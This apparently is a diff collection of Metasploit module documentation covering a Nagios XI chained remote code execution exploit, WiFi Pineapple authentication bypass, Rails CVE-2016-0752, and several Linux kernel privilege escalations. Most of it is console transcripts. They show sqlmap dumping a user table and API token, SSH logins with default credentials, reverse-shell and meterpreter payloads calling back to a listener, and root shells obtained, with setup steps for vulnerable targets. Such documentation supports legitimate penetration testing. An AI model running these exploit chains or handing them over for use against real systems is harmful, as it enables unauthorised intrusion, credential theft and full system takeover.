Linux localhost.localdomain 2.6.32-573.22.1.el6.x86_64 #1 SMP Wed Mar 23 03:35:39 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
```
### Emulating a different DB
#### First we'll attempt the exploit and see what happens.
```
msf exploit(nagios_xi_chained_rce) > show options
Module options (exploit/linux/http/nagios_xi_chained_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
API_TOKEN no If an API token was already stolen, skip the SQLi
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.2.218 yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
USER_ID 1 yes User ID in the database to target
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.117 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nagios XI <= 5.2.7
msf exploit(nagios_xi_chained_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Nagios XI version: 5.2.7
[*] Getting API token
[+] 0 incidents resolved in Nagios IM
[-] Exploit aborted due to failure: unexpected-reply: API token not found! punt!
[*] Exploit completed, but no session was created.
```
#### Now lets try using sqlmap to enumerate the user table.
```
root@k:~# sqlmap -u "http://192.168.2.218/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=resolve&host=a&service=" -p service -T xi_users --dump
...snip...
Database: nagiosxi
Table: xi_users
[2 entries]
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| user_id | name | email | enabled | username | password | backend_ticket |
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
| 2 | admin2 | admin2@admin2.com | 1 | admin2 | c84258e9c39059a89ab77d846ddab909 | 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g |
+---------+----------------------+-------------------+---------+-------------+----------------------------------+------------------------------------------------------------------+
...snip...
```
#### Re-target
Now, we can set the ```USER_ID``` and ```API_TOKEN``` (backend_ticket)
```
msf exploit(nagios_xi_chained_rce) > set USER_ID 2
USER_ID => 2
msf exploit(nagios_xi_chained_rce) > set API_TOKEN 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
API_TOKEN => 8ftgcj2jubs8nrjnlga0ssakeen4ij8p339cl8shgom7kau7n86j3d6grsidgp6g
msf exploit(nagios_xi_chained_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Nagios XI version: 5.2.7
[*] Getting admin cookie
[+] Admin cookie: nagiosxi=rjs4f9k4299v78hpgq3374q6j6;
[+] CSRF token: c53d1f591264a3ea771639a7782627f8
[*] Getting monitored host
[+] Monitored host: localhost
[*] Downloading component
[*] Uploading root shell
[*] Popping shell!
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.218:51032) at 2016-10-10 10:15:08 -0400
[*] Cleaning up...
[*] rm -rf ../profile
[*] unzip -qd .. ../../../../tmp/component-profile.zip
[*] chown -R nagios:nagios ../profile
[*] rm -f ../../../../tmp/component-ZEaGkiTW.zip
1138255764
NXEqynCVIfLzvpjUkqOovFvuLgsUrtpo
CKorOSWlTQEkRoiwCiBqTgylyLQjuWxU
oIGZxLofAStLsgsMNaGnQzzMuBYpJUQs
fkUlWzVvhurgAATtxKhLSBFCxQaZqjtR
QajRDDToeigHGMFdUbaClxkLfJbxqBKv
whoami
root
```
@@ -0,0 +1,21 @@
## Background
The 'pineapple_bypass_cmdinject' exploit attacks a weak check for
pre-authorized CSS files, which allows the attacker to bypass
authentication. The exploit then relies on the anti-CSRF vulnerability
(CVE-2015-4624) to obtain command injection.
This exploit uses a utility function in
/components/system/configuration/functions.php to execute commands once
authorization has been bypassed.
## Verification
This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The
default options are generally effective due to having a set state after being
flashed. You will need to be connected to the WiFi pineapple network (e.g. via
WiFi or ethernet).
Assuming the above 2.3 firmware is installed, this exploit should always work.
If it does not, try it again. It should always work as long as the pineapple is
in its default configuration.
@@ -0,0 +1,28 @@
## Background
This module uses a challenge solver exploit which impacts two possible states
of the device: pre-password set and post-password set. The pre-password set
vulnerability uses a default password and a weak anti-CSRF (CVE-2015-4624)
check to obtain shell by logging in and pre-computing the solution to
the anti-CSRF check.
The post-password set vulnerability uses the fact that there is a 1 in 27
chance of correctly guessing the challenge solution. This attack resets the
password to a password chosen by the attacker (we suggest the default
'pineapplesareyummy' to decrease collateral damage on victims) and then
performs the same anti-CSRF attack as the pre-password vulnerability.
This exploit uses a utility function in
/components/system/configuration/functions.php to execute commands once
authorization has been bypassed.
## Verification
This exploit requires a "fresh" pineapple, flashed with version 2.0-2.3. The
default options are generally effective due to having a set state after being
flashed. You will need to be connected to the WiFi pineapple network (e.g. via
WiFi or ethernet).
Assuming the above 2.3 firmware is installed, this exploit should always work.
If it does not, try it again. It should always work as long as the pineapple is
in its default configuration.
@@ -0,0 +1,79 @@
## Intro
Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.
http://rubyonrails.org/
> This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).
## Setup
**Download and setup the sample vuln application:**
- [ ] `sudo apt-get install -y curl git`
- [ ] `curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1`
- [ ] `source ~/.rvm/scripts/rvm`
- [ ] `sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y`
- [ ] `gem install rails -v 4.0.8`
- [ ] `git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn`
- [ ] `cd pwn`
- [ ] `bundle install`
- [ ] Edit the config/routes.rb file and add `post "users/:id", to: 'user#show'`
Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
- [ ] `rails s -b 0.0.0.0` or `rails s -b 0.0.0.0 -e production`
## Usage
### Typical Usage
Just set ```RHOST``` and fire off the module! It's pretty much painless.
```set VERBOSE true``` if you want to see details.
```
saturn:metasploit-framework mr_me$ cat scripts/rails.rc
use exploit/multi/http/rails_dynamic_render_code_exec
set RHOST 172.16.175.251
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 172.16.175.1
check
exploit
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/rails.rc
[*] Processing scripts/rails.rc for ERB directives.
resource (scripts/rails.rc)> use exploit/multi/http/rails_dynamic_render_code_exec
resource (scripts/rails.rc)> set RHOST 172.16.175.251
RHOST => 172.16.175.251
resource (scripts/rails.rc)> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
resource (scripts/rails.rc)> set LHOST 172.16.175.1
LHOST => 172.16.175.1
resource (scripts/rails.rc)> check
[+] 172.16.175.251:3000 The target is vulnerable.
resource (scripts/rails.rc)> exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 172.16.175.1:4444
[*] Sending initial request to detect exploitability
msf exploit(rails_dynamic_render_code_exec) > [*] 172.16.175.251:3000 - Starting up our web service on http://172.16.175.1:1337/iUDaRVpz ...
[*] Using URL: http://0.0.0.0:1337/iUDaRVpz
[*] Local IP: http://192.168.100.13:1337/iUDaRVpz
[*] uploading image...
[+] injected payload
[*] 172.16.175.251:3000 - Sending the payload to the server...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.175.251
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.251:41246) at 2016-09-29 17:52:00 -0500
[+] Deleted /tmp/NhhGKCCIgwF
msf exploit(rails_dynamic_render_code_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 50809 created.
Channel 1 created.
$ id
uid=1000(student) gid=1000(student) groups=1000(student),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth)
$
```
@@ -0,0 +1,167 @@
## Notes
This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required.
As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted.
## Creating A Testing Environment
There are a few requirements for this module to work:
1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
This module has been tested against:
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
This module was not tested against, but may work against:
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**MAXWAIT**
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
**WritableDir**
A folder we can write files to. Defaults to /tmp
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
#### Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
rhosts => 192.168.199.130
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[+] libfuse-dev is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing hello to /tmp/hello.c
[*] Max line length is 65537
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
[*] Writing doubleput to /tmp/doubleput.c
[*] Max line length is 65537
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
[*] Writing suidhelper to /tmp/suidhelper.c
[*] Max line length is 65537
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
[*] Compiling all modules on target
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
[*] Cleaning up...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.199.130
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x86_64
Meterpreter : x64/linux
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[-] libfuse-dev is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing pre-compiled binarys to target
[*] Max line length is 65537
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
@@ -27,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/netfilter_priv_esc`
4. Do: `use exploit/linux/local/netfilter_priv_esc_ipv4`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
@@ -115,7 +115,7 @@ This does not work against the following vulnerable systems. Additional work ma
#### Escalate w/ pre-compiled binaries
msf exploit(netfilter_priv_esc) > exploit
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@@ -160,9 +160,9 @@ This does not work against the following vulnerable systems. Additional work ma
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
msf exploit(netfilter_priv_esc) > set reexploit true
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true
msf exploit(netfilter_priv_esc) > exploit
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@@ -191,9 +191,9 @@ In this scenario, we already exploit the box, for whatever reason our shell died
#### Re-exploit w/ pre-compiled binaries
msf exploit(netfilter_priv_esc) > set reexploit true
msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true
msf exploit(netfilter_priv_esc) > exploit
msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@@ -0,0 +1,181 @@
## Creating A Testing Environment
This module has been tested against:
1. CVE-2015-1328
1. Ubuntu 14.04
1. 3.13.0-24 (binary version of exploit compiled on)
2. 3.19.0-20
3. 3.19.0-21 (not vuln, exploit failed)
4. 3.13.0-55 (not vuln, exploit failed)
2. CVE-2015-8660
1. Ubuntu 14.04
1. 3.19.0-41 (binary version of exploit compiled on)
Untested against
1. Fedora (code included to identify vuln versions)
2. Redhat (description includes vuln kernel versions)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/overlayfs_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile on the system. Defaults to Auto, which checks if `gcc` is installed
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex
3986817421
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
true
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
true
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
VPsVgFTxVwskShumsJkambKWMQhifDJi
whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
### CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
#### Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa
2356964145
psMfOJcKGKnafhAvALIeSFNegauafmux
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
true
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
@@ -0,0 +1,133 @@
## Creating A Testing Environment
This module works against Ubuntu 13.04, and 13.10. As of writing this, those releases are at EOL (end of life). If you wish to install `gcc` or other command, you'll need to fix your `/etc/sources.list` to
point to the correct repos.
`sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list` [source](http://askubuntu.com/questions/91815/how-to-install-software-or-upgrade-from-an-old-unsupported-release)
This module has been tested against:
1. Ubuntu 13.04 (default kernel) 3.8.0-19-generic
This module should also work against:
1. Ubuntu 13.10 (default kernel) 3.11.0-12-generic
2. Ubuntu 13.10 3.11.0-15-generic
More kernels could be added to this, just need the proper offsets.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/linux/local/recvmmsg_priv_esc`
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**COMPILE**
If we should attempt to compile live on the system, or drop a binary. Default is `auto` which will compile if `gcc` is installed.
**WritableDir**
A folder we can write files to. Defaults to /tmp
## Scenarios
### Ubuntu 13.04 (with default kernel: 3.8.0-19-generic)
#### Initial Access
[*] Processing recvmmsg.rc for ERB directives.
resource (recvmmsg.rc)> use auxiliary/scanner/ssh/ssh_login
resource (recvmmsg.rc)> set rhosts 192.168.2.20
rhosts => 192.168.2.20
resource (recvmmsg.rc)> set username ubuntu
username => ubuntu
resource (recvmmsg.rc)> set password ubuntu
password => ubuntu
resource (recvmmsg.rc)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare) Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39613 -> 192.168.2.20:22) at 2016-10-08 23:19:48 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[+] gcc is installed
[*] Live compiling exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/4bUIkbrG.c (5950 bytes)
[*] Max line length is 65537
[*] Writing 5950 bytes in 1 chunks of 20667 bytes (octal-encoded), using printf
[*] Compiling /tmp/4bUIkbrG.c
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:20:00 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:32:49 -0400
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu1304 3.8.0-19-generic #29-Ubuntu SMP Wed Apr 17 18:16:28 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
### Using pre-compiled binaries on the same system
resource (recvmmsg.rc)> use exploit/linux/local/recvmmsg_priv_esc
resource (recvmmsg.rc)> set verbose true
verbose => true
resource (recvmmsg.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (recvmmsg.rc)> set session 1
session => 1
resource (recvmmsg.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (recvmmsg.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[+] Kernel 3.8.0.pre.19.pre.generic is exploitable
[*] Writing to /tmp/Yc0xB9oC (14571 bytes)
[*] Max line length is 65537
[*] Writing 14571 bytes in 1 chunks of 38575 bytes (octal-encoded), using printf
[*] Writing to /tmp/a0RwAacU (185 bytes)
[*] Max line length is 65537
[*] Writing 185 bytes in 1 chunks of 560 bytes (octal-encoded), using printf
[*] Exploiting... May take 17min. Start time: 2016-10-08 23:42:01 -0400
[*] Sending stage (36 bytes) to 192.168.2.20
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.20:38465) at 2016-10-08 23:54:50 -0400
[+] Deleted /tmp/Yc0xB9oC
[+] Deleted /tmp/a0RwAacU
2689016405
carERUCEUgdCZfvTyiWuBklsNMqcNhey
true
dPZDicgefmDeBvIpRYKaToiSQmHWQxBe
yGWMZKlCTQskKCZERIXNchDARUIzzBJn
FjFxyOSVHntGpawbQfSzIdRPsbeyOgSq
true
HFPuJArQoYvuxhkoWbAwvdDbNVUjSdUL
vMvWNASOZcfTmStOGnozdJzfTAUWJYzU
VQUKZqzBlQaQJmbtyQSSNudDtINToRhu
whoami
root
@@ -0,0 +1,91 @@
## Vulnerable Application
Samba 3.0.0 through 3.0.25rc3 are vulnerable to multiple heap overflows. This module targets a heap overflow in the LsarLookupSids RPC call (CVE-2007-2446), causing an overflow in the function lsa\_io\_trans_name().
The exploit uses the heap overflow to overwrite a function pointer contained in the metadata of the TALLOC memory allocator, a technique which only works on Samba versions 3.0.21-3.0.24.
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/linux/samba/lsa_transnames_heap`
3. Do: `show targets` to see the possible targets
4. Do: `set target #`
5. Do: `set rhost`
6. Do: `exploit`
## MIPS port
This module was ported to exploit the MIPS architecture. After creating a suitable debugging environment using qemu to emulate Samba on a desktop PC the following steps were required:
### MIPS nop generator
